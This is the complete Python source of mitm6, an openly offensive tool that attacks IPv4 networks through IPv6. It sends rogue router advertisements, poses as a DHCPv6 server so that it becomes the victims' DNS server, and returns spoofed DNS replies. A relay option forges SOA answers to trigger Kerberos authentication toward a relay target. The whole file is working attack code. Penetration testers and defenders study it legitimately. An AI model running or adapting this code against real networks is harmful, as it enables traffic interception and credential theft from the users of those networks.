from __future__ import unicode_literals
from scapy.all import sniff, ls, ARP, IPv6, DNS, DNSRR, Ether, conf, IP, UDP, DNSRRSOA
from scapy.config import conf as config
from twisted.internet import reactor
from twisted.internet.protocol import ProcessProtocol, DatagramProtocol
from scapy.layers.dhcp6 import (
    DHCP6OptClientFQDN,
    DHCP6OptClientId,
    DHCP6OptDNSDomains,
    DHCP6OptDNSServers,
    DHCP6OptIAAddress,
    DHCP6OptIA_NA,
    DHCP6OptServerId,
    DHCP6_Advertise,
    DHCP6_Renew,
    DHCP6_Reply,
    DHCP6_Request,
    DHCP6_Solicit,
    DUID_LL,
)
from scapy.layers.inet6 import ICMPv6ND_RA
from scapy.sendrecv import sendp
from twisted.internet import task, threads
from builtins import str
import json
import random
import ipaddress
import netifaces
import sys
import argparse
import socket
import builtins

# Globals
pcdict = {}
arptable = {}
try:
    with open("arp.cache", "r") as arpcache:
        arptable = json.load(arpcache)
except IOError:
    pass


# Config class - contains runtime config
class Config(object):
    def __init__(self, args):
        # IP autodiscovery / config override
        if args.interface is None:
            self.dgw = netifaces.gateways()["default"]
            self.default_if = self.dgw[netifaces.AF_INET][1]
        else:
            self.default_if = args.interface
        if args.ipv4 is None:
            self.v4addr = netifaces.ifaddresses(self.default_if)[netifaces.AF_INET][0][
                "addr"
            ]
        else:
            self.v4addr = args.ipv4
        if args.ipv6 is None:
            try:
                self.v6addr = None
                addrs = netifaces.ifaddresses(self.default_if)[netifaces.AF_INET6]
                for addr in addrs:
                    if "fe80::" in addr["addr"]:
                        self.v6addr = addr["addr"]
            except KeyError:
                self.v6addr = None
            if not self.v6addr:
                print(
                    "Error: The interface {0} does not have an IPv6 link-local address"
                    " assigned. Make sure IPv6 is activated on this interface.".format(
                        self.default_if
                    )
                )
                sys.exit(1)
        else:
            self.v6addr = args.ipv6
        if args.mac is None:
            self.macaddr = netifaces.ifaddresses(self.default_if)[netifaces.AF_LINK][0][
                "addr"
            ]
        else:
            self.macaddr = args.mac

        if "%" in self.v6addr:
            self.v6addr = self.v6addr[: self.v6addr.index("%")]
        # End IP autodiscovery

        # This is partly static, partly filled in from the autodiscovery above
        self.ipv6prefix = "fe80::"  # link-local
        self.selfaddr = self.v6addr
        self.selfmac = self.macaddr
        self.ipv6cidr = "64"
        self.selfipv4 = self.v4addr
        self.selfduid = DUID_LL(lladdr=self.macaddr)
        self.selfptr = ipaddress.ip_address(str(self.selfaddr)).reverse_pointer + "."
        self.ipv6noaddr = random.randint(1, 9999)
        self.ipv6noaddrc = 1
        # Relay target
        if args.relay:
            self.relay = args.relay.lower()
        else:
            self.relay = None
        # DNS allowlist / blocklist options
        self.dns_allowlist = [d.lower() for d in args.domain]
        self.dns_blocklist = [d.lower() for d in args.blocklist]
        # Hostname (DHCPv6 FQDN) allowlist / blocklist options
        self.host_allowlist = [d.lower() for d in args.host_allowlist]
        self.host_blocklist = [d.lower() for d in args.host_blocklist]
        # Should DHCPv6 queries that do not specify a FQDN be ignored?
        self.ignore_nofqdn = args.ignore_nofqdn
        # Local domain to advertise
        # If no localdomain is specified, use the first dnsdomain
        if args.localdomain is None:
            try:
                self.localdomain = args.domain[0]
            except IndexError:
                self.localdomain = None
        else:
            self.localdomain = args.localdomain.lower()

        self.debug = args.debug
        self.verbose = args.verbose
        # End of config


# Target class - defines the host we are targetting
class Target(object):
    def __init__(self, mac, host, ipv4=None):
        self.mac = mac
        # Make sure the host is in unicode
        try:
            self.host = host.decode("utf-8")
        except builtins.AttributeError:
            # Already in unicode
            self.host = host
        if ipv4 is not None:
            self.ipv4 = ipv4
        else:
            # Set the IP from the arptable if it is there
            try:
                self.ipv4 = arptable[mac]
            except KeyError:
                self.ipv4 = ""

    def __str__(self):
        return "mac=%s host=%s ipv4=%s" % (self.mac, str(self.host), self.ipv4)

    def __repr__(self):
        return "<Target %s>" % self.__str__()


def get_fqdn(dhcp6packet):
    try:
        fqdn = dhcp6packet[DHCP6OptClientFQDN].fqdn
        if fqdn[-1] == ".":
            return fqdn[:-1]
        else:
            return fqdn
    # if not specified
    except KeyError:
        return ""


def send_dhcp_advertise(p, basep, target):
    global ipv6noaddrc
    resp = (
        Ether(dst=basep.src)
        / IPv6(src=config.selfaddr, dst=basep[IPv6].src)
        / UDP(sport=547, dport=546)
    )  # base packet
    resp /= DHCP6_Advertise(trid=p.trid)
    # resp /= DHCP6OptPref(prefval = 255)
    resp /= DHCP6OptClientId(duid=p[DHCP6OptClientId].duid)
    resp /= DHCP6OptServerId(duid=config.selfduid)
    resp /= DHCP6OptDNSServers(dnsservers=[config.selfaddr])
    if config.localdomain:
        resp /= DHCP6OptDNSDomains(dnsdomains=[config.localdomain])
    if target.ipv4 != "":
        addr = config.ipv6prefix + target.ipv4.replace(".", ":")
    else:
        addr = config.ipv6prefix + "%d:%d" % (config.ipv6noaddr, config.ipv6noaddrc)
        config.ipv6noaddrc += 1
    opt = DHCP6OptIAAddress(preflft=300, validlft=300, addr=addr)
    resp /= DHCP6OptIA_NA(ianaopts=[opt], T1=200, T2=250, iaid=p[DHCP6OptIA_NA].iaid)
    sendp(resp, iface=config.default_if, verbose=False)


def send_dhcp_reply(p, basep):
    resp = (
        Ether(dst=basep.src)
        / IPv6(src=config.selfaddr, dst=basep[IPv6].src)
        / UDP(sport=547, dport=546)
    )  # base packet
    resp /= DHCP6_Reply(trid=p.trid)
    # resp /= DHCP6OptPref(prefval = 255)
    resp /= DHCP6OptClientId(duid=p[DHCP6OptClientId].duid)
    resp /= DHCP6OptServerId(duid=config.selfduid)
    resp /= DHCP6OptDNSServers(dnsservers=[config.selfaddr])
    if config.localdomain:
        resp /= DHCP6OptDNSDomains(dnsdomains=[config.localdomain])
    try:
        opt = p[DHCP6OptIAAddress]
        resp /= DHCP6OptIA_NA(
            ianaopts=[opt], T1=200, T2=250, iaid=p[DHCP6OptIA_NA].iaid
        )
        sendp(resp, iface=config.default_if, verbose=False)
    except IndexError:
        # Some hosts don't send back this layer for some reason, ignore those
        if config.debug or config.verbose:
            print(
                "Ignoring DHCPv6 packet from %s: Missing DHCP6OptIAAddress layer"
                % basep.src
            )


def send_dns_reply(p):
    if IPv6 in p:
        ip = p[IPv6]
        resp = (
            Ether(dst=p.src, src=p.dst)
            / IPv6(dst=ip.src, src=ip.dst)
            / UDP(dport=ip.sport, sport=ip.dport)
        )
    else:
        ip = p[IP]
        resp = (
            Ether(dst=p.src, src=p.dst)
            / IP(dst=ip.src, src=ip.dst)
            / UDP(dport=ip.sport, sport=ip.dport)
        )
    dns = p[DNS]
    # only reply to IN, and to messages that dont contain answers
    if dns.qd.qclass != 1 or dns.qr != 0:
        return
    # Make sure the requested name is in unicode here
    reqname = dns.qd.qname.decode()
    # A query
    if dns.qd.qtype == 1:
        rdata = config.selfipv4
    # AAAA query
    elif dns.qd.qtype == 28:
        rdata = config.selfaddr
    # PTR query
    elif dns.qd.qtype == 12:
        # To reply for PTR requests for our own hostname
        # comment the return statement
        return
        if reqname == config.selfptr:
            # We reply with attacker.domain
            rdata = "attacker.%s" % config.localdomain
        else:
            return
    # SOA query
    elif dns.qd.qtype == 6 and config.relay:
        if dns.opcode == 5:
            if config.verbose or config.debug:
                print("Dynamic update found, refusing it to trigger auth")
            resp /= DNS(id=dns.id, qr=1, qd=dns.qd, ns=dns.ns, opcode=5, rcode=5)
            sendp(resp, verbose=False)
        else:
            rdata = config.selfaddr
            resp /= DNS(
                id=dns.id,
                qr=1,
                qd=dns.qd,
                nscount=1,
                arcount=1,
                ancount=1,
                an=DNSRRSOA(
                    rrname=dns.qd.qname,
                    ttl=100,
                    mname="%s." % config.relay,
                    rname="mitm6",
                    serial=1337,
                    type=dns.qd.qtype,
                ),
                ns=DNSRR(rrname=dns.qd.qname, ttl=100, rdata=config.relay, type=2),
                ar=DNSRR(
                    rrname=config.relay,
                    type=1,
                    rclass=1,
                    ttl=300,
                    rdata=config.selfipv4,
                ),
            )
            sendp(resp, verbose=False)
            if config.verbose or config.debug:
                print("Sent SOA reply")
        return
    # Not handled
    else:
        return
    if should_spoof_dns(reqname):
        resp /= DNS(
            id=dns.id,
            qr=1,
            qd=dns.qd,
            an=DNSRR(rrname=dns.qd.qname, ttl=100, rdata=rdata, type=dns.qd.qtype),
        )
        try:
            sendp(resp, iface=config.default_if, verbose=False)
        except socket.error as e:
            print("Error sending spoofed DNS")
            print(e)
            if config.debug:
                ls(resp)
        print("Sent spoofed reply for %s to %s" % (reqname, ip.src))
    else:
        if config.verbose or config.debug:
            print("Ignored query for %s from %s" % (reqname, ip.src))


# Helper function to check whether any element in the list "matches" value
def matches_list(value, target_list):
    testvalue = value.lower()
    for test in target_list:
        if test in testvalue:
            return True
    return False


# Should we spoof the queried name?
def should_spoof_dns(dnsname):
    # If allowlist exists, host should match
    if config.dns_allowlist and not matches_list(dnsname, config.dns_allowlist):
        return False
    # If there are any entries in the blocklist, make sure it doesnt match against any
    if matches_list(dnsname, config.dns_blocklist):
        return False
    return True


# Should we reply to this host?
def should_spoof_dhcpv6(fqdn):
    # If there is no FQDN specified, check if we should reply to empty ones
    if not fqdn:
        return not config.ignore_nofqdn
    # If allowlist exists, host should match
    if config.host_allowlist and not matches_list(fqdn, config.host_allowlist):
        if config.debug:
            print("Ignoring DHCPv6 packet from %s: FQDN not in allowlist " % fqdn)
        return False
    # If there are any entries in the blocklist, make sure it doesnt match against any
    if matches_list(fqdn, config.host_blocklist):
        if config.debug:
            print("Ignoring DHCPv6 packet from %s: FQDN matches blocklist " % fqdn)
        return False
    return True


# Get a target object if it exists, otherwise, create it
def get_target(p):
    mac = p.src
    # If it exists, return it
    try:
        return pcdict[mac]
    except KeyError:
        try:
            fqdn = get_fqdn(p)
        except IndexError:
            fqdn = ""
        pcdict[mac] = Target(mac, fqdn)
        return pcdict[mac]


# Parse a packet
def parsepacket(p):
    if DHCP6_Solicit in p:
        target = get_target(p)
        if should_spoof_dhcpv6(target.host):
            send_dhcp_advertise(p[DHCP6_Solicit], p, target)
    if DHCP6_Request in p:
        target = get_target(p)
        if p[DHCP6OptServerId].duid == config.selfduid and should_spoof_dhcpv6(
            target.host
        ):
            send_dhcp_reply(p[DHCP6_Request], p)
            print(
                "IPv6 address %s is now assigned to %s"
                % (p[DHCP6OptIA_NA].ianaopts[0].addr, pcdict[p.src])
            )
    if DHCP6_Renew in p:
        target = get_target(p)
        if p[DHCP6OptServerId].duid == config.selfduid and should_spoof_dhcpv6(
            target.host
        ):
            send_dhcp_reply(p[DHCP6_Renew], p)
            print("Renew reply sent to %s" % p[DHCP6OptIA_NA].ianaopts[0].addr)
    if ARP in p:
        arpp = p[ARP]
        if arpp.op == 2:
            # Arp is-at package, update internal arp table
            arptable[arpp.hwsrc] = arpp.psrc
    if DNS in p:
        if p.dst == config.selfmac:
            send_dns_reply(p)


def setupFakeDns():
    # We bind to port 53 to prevent ICMP port unreachable packets being sent
    # actual responses are sent by scapy
    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
    fulladdr = config.v6addr + "%" + config.default_if
    addrinfo = socket.getaddrinfo(fulladdr, 53, socket.AF_INET6, socket.SOCK_DGRAM)
    sock.bind(addrinfo[0][4])
    sock.setblocking(0)
    # Bind IPv4 as well
    sock2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    fulladdr = config.v4addr
    addrinfo = socket.getaddrinfo(fulladdr, 53, socket.AF_INET, socket.SOCK_DGRAM)
    sock2.bind(addrinfo[0][4])
    sock2.setblocking(0)
    return sock, sock2


def send_ra():
    # Send a Router Advertisement with the "managed" and "other" flag set, which should cause clients to use DHCPv6 and ask us for addresses
    # routerlifetime is set to 0 in order to not adverise ourself as a gateway (RFC4861, section 4.2)
    p = (
        Ether(src=config.selfmac, dst="33:33:00:00:00:01")
        / IPv6(src=config.selfaddr, dst="ff02::1")
        / ICMPv6ND_RA(M=1, O=1, routerlifetime=0)
    )
    sendp(p, iface=config.default_if, verbose=False)


# Whether packet capturing should stop
def should_stop(_):
    return not reactor.running


def shutdownnotice():
    print("")
    print("Shutting down packet capture after next packet...")
    # print(pcdict)
    # print(arptable)
    with open("arp.cache", "w") as arpcache:
        arpcache.write(json.dumps(arptable))


def print_err(failure):
    print(
        "An error occurred while sending a packet: %s\nNote that root privileges are"
        " required to run mitm6" % failure.getErrorMessage()
    )


def main():
    global config
    parser = argparse.ArgumentParser(
        description=(
            "mitm6 - pwning IPv4 via IPv6\nFor help or reporting issues, visit"
            " https://github.com/dirkjanm/mitm6"
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "-i",
        "--interface",
        type=str,
        metavar="INTERFACE",
        help="Interface to use (default: autodetect)",
    )
    parser.add_argument(
        "-l",
        "--localdomain",
        type=str,
        metavar="LOCALDOMAIN",
        help="Domain name to use as DNS search domain (default: use first DNS domain)",
    )
    parser.add_argument(
        "-4",
        "--ipv4",
        type=str,
        metavar="ADDRESS",
        help="IPv4 address to send packets from (default: autodetect)",
    )
    parser.add_argument(
        "-6",
        "--ipv6",
        type=str,
        metavar="ADDRESS",
        help="IPv6 link-local address to send packets from (default: autodetect)",
    )
    parser.add_argument(
        "-m",
        "--mac",
        type=str,
        metavar="ADDRESS",
        help=(
            "Custom mac address - probably breaks stuff (default: mac of selected"
            " interface)"
        ),
    )
    parser.add_argument(
        "-a",
        "--no-ra",
        action="store_true",
        help=(
            "Do not advertise ourselves (useful for networks which detect rogue Router"
            " Advertisements)"
        ),
    )
    parser.add_argument(
        "-r",
        "--relay",
        type=str,
        metavar="TARGET",
        help=(
            "Authentication relay target, will be used as fake DNS server hostname to"
            " trigger Kerberos auth"
        ),
    )
    parser.add_argument(
        "-v", "--verbose", action="store_true", help="Show verbose information"
    )
    parser.add_argument("--debug", action="store_true", help="Show debug information")

    filtergroup = parser.add_argument_group("Filtering options")
    filtergroup.add_argument(
        "-d",
        "--domain",
        action="append",
        default=[],
        metavar="DOMAIN",
        help=(
            "Domain name to filter DNS queries on (Allowlist principle, multiple can be"
            " specified.)"
        ),
    )
    filtergroup.add_argument(
        "-b",
        "--blocklist",
        "--blacklist",
        action="append",
        default=[],
        metavar="DOMAIN",
        help=(
            "Domain name to filter DNS queries on (Blocklist principle, multiple can be"
            " specified.)"
        ),
    )
    filtergroup.add_argument(
        "-hw",
        "-ha",
        "--host-allowlist",
        "--host-whitelist",
        action="append",
        default=[],
        metavar="DOMAIN",
        help=(
            "Hostname (FQDN) to filter DHCPv6 queries on (Allowlist principle, multiple"
            " can be specified.)"
        ),
    )
    filtergroup.add_argument(
        "-hb",
        "--host-blocklist",
        "--host-blacklist",
        action="append",
        default=[],
        metavar="DOMAIN",
        help=(
            "Hostname (FQDN) to filter DHCPv6 queries on (Blocklist principle, multiple"
            " can be specified.)"
        ),
    )
    filtergroup.add_argument(
        "--ignore-nofqdn",
        action="store_true",
        help=(
            "Ignore DHCPv6 queries that do not contain the Fully Qualified Domain Name"
            " (FQDN) option."
        ),
    )

    args = parser.parse_args()
    config = Config(args)

    print("Starting mitm6 using the following configuration:")
    print("Primary adapter: %s [%s]" % (config.default_if, config.selfmac))
    print("IPv4 address: %s" % config.selfipv4)
    print("IPv6 address: %s" % config.selfaddr)
    if config.localdomain is not None:
        print("DNS local search domain: %s" % config.localdomain)
    if not config.dns_allowlist and not config.dns_blocklist:
        print(
            "Warning: Not filtering on any domain, mitm6 will reply to all DNS"
            " queries.\nUnless this is what you want, specify at least one domain"
            " with -d"
        )
    else:
        if not config.dns_allowlist:
            print("DNS allowlist: *")
        else:
            print("DNS allowlist: %s" % ", ".join(config.dns_allowlist))
            if (
                config.relay
                and len(
                    [
                        matching
                        for matching in config.dns_allowlist
                        if matching in config.relay
                    ]
                )
                == 0
            ):
                print(
                    "Warning: Relay target is specified but the DNS query allowlist"
                    " does not contain the target name."
                )
        if config.dns_blocklist:
            print("DNS blocklist: %s" % ", ".join(config.dns_blocklist))
    if config.host_allowlist:
        print("Hostname allowlist: %s" % ", ".join(config.host_allowlist))
    if config.host_blocklist:
        print("Hostname blocklist: %s" % ", ".join(config.host_blocklist))

    # Main packet capture thread
    d = threads.deferToThread(
        sniff,
        iface=config.default_if,
        filter="ip6 proto \\udp or arp or udp port 53",
        prn=lambda x: reactor.callFromThread(parsepacket, x),
        stop_filter=should_stop,
    )
    d.addErrback(print_err)

    # RA loop
    if not args.no_ra:
        loop = task.LoopingCall(send_ra)
        d = loop.start(30.0)
        d.addErrback(print_err)

    # Set up DNS
    dnssock, dnssock2 = setupFakeDns()
    reactor.adoptDatagramPort(dnssock.fileno(), socket.AF_INET6, DatagramProtocol())
    reactor.adoptDatagramPort(dnssock2.fileno(), socket.AF_INET, DatagramProtocol())

    reactor.addSystemEventTrigger("before", "shutdown", shutdownnotice)
    reactor.run()


if __name__ == "__main__":
    main()
